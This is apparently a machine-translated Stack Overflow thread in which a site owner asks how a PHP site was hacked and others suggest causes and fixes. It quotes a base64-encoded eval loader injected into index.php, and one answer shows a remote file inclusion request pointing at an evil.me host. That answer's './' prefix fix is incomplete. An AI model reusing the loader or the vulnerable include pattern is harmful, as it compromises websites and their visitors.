2010-05-12 3 views
5

Я только что проверил мой сайт вдруг выскакивает меня на этот сайт:PHP: Я был взломан

xxxp://www1.re*******3.net/?p=p52dcWpkbG6HjsbIo216h3de0KCfaFbVoKDb2YmHWJjOxaCbkXp%2FWqyopHaYXsiaY2eRaGNpnFPVpJHaotahiaJ0WKrO1c%2Beb1qfnaSZdV%2FXlsndblaWpG9plmGQYWCcW5eakWppWKjKx6ChpqipbmdjpKjEjtDOoKOhY56n1pLWn1%2FZodXN02BdpqmikpVwZWpxZGxpcV%2FVoJajYmJkZ2hwlGGXaVbJkKC0q1eum5qimZxx 

я узнал, что в первой строке моего файла index.php, который выглядит следующим образом:

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHR/* 

Snip 

*/DkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?> 

Как это остановить? благодаря!

ОБНОВЛЕНИЕ: Какая это атака? это действительно xss? Никто не знает о моем FTP-пароле.

+7

Это не XSS как таковой. Кто-то, вводящий код в исходные файлы, означает, что ваш сервер был взломан. Пробовали ли вы смотреть журналы FTP, чтобы узнать, был ли кто-то грубым - принудительный пароль? – Hober

+0

Это вовсе не XSS (Cross Site Scripting). – Anonymoose

+0

Если вы размещаете на MediaTemple, что-то подобное произошло со мной дважды ... по крайней мере, когда я принимал участие в (gs). Я предполагаю, что я говорю, проверьте блог своей хостинговой компании или что-то в этом роде. – bschaeffer

ответ

10

У кого-то есть доступ (не через xss или sql-injection) к вашим php-файлам на вашем сервере. Если это общий сервер, очень возможно, что весь сервер был каким-то образом скомпрометирован. Вы можете удалить эту дерьмо в верхней части ваших php-файлов и сделать их доступными только для чтения. Однако, поскольку я предполагаю, что это общий сервер, если ваш веб-хост не устраняет недостатки безопасности, которые позволили это в первую очередь, этого может быть недостаточно. Поговорите со своим хостинг-провайдером (лично я просто перейду к новому провайдеру, это хороший признак того, что эти ребята безнадежны.)

+0

Да, я на общем сервере. –

0

Просто удалите эту строку и исправьте свой сервер. Скорее всего, вы заражены бэкдором.

1

Удалить строку кода?

Это атака на вашем сервере, которая позволила злоумышленнику изменить файлы сервера. Это может быть связано с разрешениями на доступ к папке (с разрешением 777), или если вы разрешаете скриптам изменять другие сценарии на вашем сервере.

Возможно, вам захочется просмотреть разрешения на доступ к папке.

+0

Да, я удалил его. Так далеко мой сайт работает правильно. Но у меня такое ощущение, что произойдет еще одна атака. –

+1

@jun: вам гарантирована еще одна атака. Если вы не подключили отверстие, то вам гарантировано, что они сделают это снова. – NotMe

0

Большинство людей останавливают атаки инъекций кода, сначала удаляя вирусный код, а затем делая все файлы PHP только для чтения, ища эксплойт, который атака использовала для записи в ваши файлы PHP.

+1

Что делать с файлами, предназначенными только для чтения? Если * у вас есть разрешения, необходимые для их чтения только, и * ваша учетная запись была скомпрометирована, то все, что попало в файлы, может * удалить * атрибут только для чтения. –

+0

@ Geor Я предполагал, что PHP не работает под той же учетной записью, что и обычный пользователь. Например, большую часть времени существует очень ограниченный пользователь httpd, который используется PHP, а затем вы (обычный/FTP-пользователь) сохраняете право собственности на файлы PHP и можете пометить их только для чтения и что-то еще – Earlz

+0

Какой из них, как это ** должен быть установлен для защиты – Earlz

2

Защитите свой сервер, попробуйте , связавшись с соответствующими людьми, кажется, что у сервера есть были скомпрометированы.

1

Какая это атака? это действительно xss? Никто не знает о моем FTP-пароле.

Есть несколько векторов для этого вида атаки:

Software уязвимости. Это может включать устаревшие PHP, MySQL, Apache или практически все, что работает. Весь сервер, возможно, был составлен.

Уязвимость в сценариях. Уязвимость, обычно с широко используемым приложением PHP, используемым для загрузки и выполнения команд. Обычным является программное обеспечение фотогалереи, которое обманывается при загрузке переименованных файлов php, позволяя переименовать расширение на сервере с jpg обратно на исходный php, а затем запустить, разрешая любые действия, разрешенные сценариями (обычно это администратор PHP/root kit загружается таким образом, давая злоумышленнику возможность свободно загружать и изменять файлы)

FTP переборной атаки. Как правило, ваш сервер должен быть настроен так, чтобы иметь возможность адреса IP-блока, который делает повторные неудачные попытки входа в систему.

Пользовательская инфекция.Относительно новый вектор атаки, троянец (чаще всего используют уязвимости в плагине Adobe PDF Reader из-за того, что это работает в FireFox, но любой эксплойт браузера, который позволяет выполнять выполнение кода), чтобы установить троян на проходящий пользовательский компьютер. Троянец ищет на компьютере пользователя общие FTP-программы, такие как Filezilla и Dreamweaver, ища сохраненные пароли. Когда он находит вход в FTP, он обращается к этому сайту с собственного компьютера пользователя и пытается изменить известные типы файлов (htm, php, asp и т. Д.), Вставив его собственный код (большинство поисков тега HEAD и вставка сразу после этого) тот же самый код, который первоначально заражал компьютер пользователя. Как только это будет сделано, он может работать как любой другой троянец (установить рекламное ПО или остаться скрытым и сделать компьютерную часть компьютера бот-сетю).

1

У нас была та же проблема. На самом деле стыдно признаться, но это случилось с нами, потому что пользователи могли загружать файлы с любым расширением и запускать их на сервере. Таким образом, некоторый пользователь загрузил php-скрипт и выполнил его. :-)

Мы решили проблему, установив фильтры и атрибуты только для чтения для загруженных файлов.

3

Если у вас есть open_wrappers = на, и вы используете что-то вроде этого где-то на сайте

http://domain.tld/index.php?page=somenameofpage 

Где-то в index.php (или включены файлы)

<?php 

include($page . '.php'); 

?> 

Тогда кто-то может поставить под угрозу ваш сайт, запросив

http://domain.tld/index.php?page=http://evil.me/evilcode.txt? 

(значение страницы должно быть уркокодировано для пользователя k - я ленив, так что не urlencode его. Обратите внимание? в конце ..

То, что вы сейчас на самом деле в том числе является

http://evil.me/evilcode.txt?.php 

- evilcode.txt -

<?php 

echo 'some evil code huh!'; 

Это Виль выполнить код PHP в evilcode.txt

Быстрое исправление: добавить. на путь включаемого - как этого

include('./' . $page . '.php'); 

Я узнал это трудный путь .. Стал админ из существующего сайта, который использовал этот метод для навигации. Мне потребовались месяцы, чтобы понять это, хотя хакер не заменил никакого кода - он просто добавил файлы в некоторые подпапки. И да, он добавил несколько бэкдоров в файлах .js и .css, которые пользователи AntiVir выбрали.